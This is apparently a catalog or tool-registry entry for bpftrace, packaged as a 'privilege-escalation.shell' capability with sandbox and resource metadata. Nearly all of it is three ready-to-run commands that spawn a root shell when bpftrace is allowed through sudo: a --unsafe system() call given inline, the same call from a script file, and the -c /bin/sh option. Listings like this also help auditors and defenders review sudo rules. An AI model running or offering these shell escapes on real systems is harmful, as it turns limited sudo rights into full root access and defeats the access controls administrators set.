High-level tracing language for Linux eBPF, can spawn a shell with --unsafe mode via sudo.
bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}' 📎 system("/bin/sh 1<&0");exit() bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}'Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell Inputs
security.execution.context Sudo execution context (root required)
Outputs
process.output Shell output
process_spawn Produces
process.outputConsumes
security.execution.context| Resource | Value |
|---|---|
| CPU | medium |
| Memory | 32 MB |
| Network | none |
| Disk I/O | low |
Spawn a shell via bpftrace --unsafe
bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}'Spawn a shell via bpftrace script file
echo 'BEGIN {system("/bin/sh 1<&0");exit()}' >/path/to/temp-file
bpftrace --unsafe /path/to/temp-file
Spawn a shell via bpftrace -c option
bpftrace -c /bin/sh -e 'END {exit()}'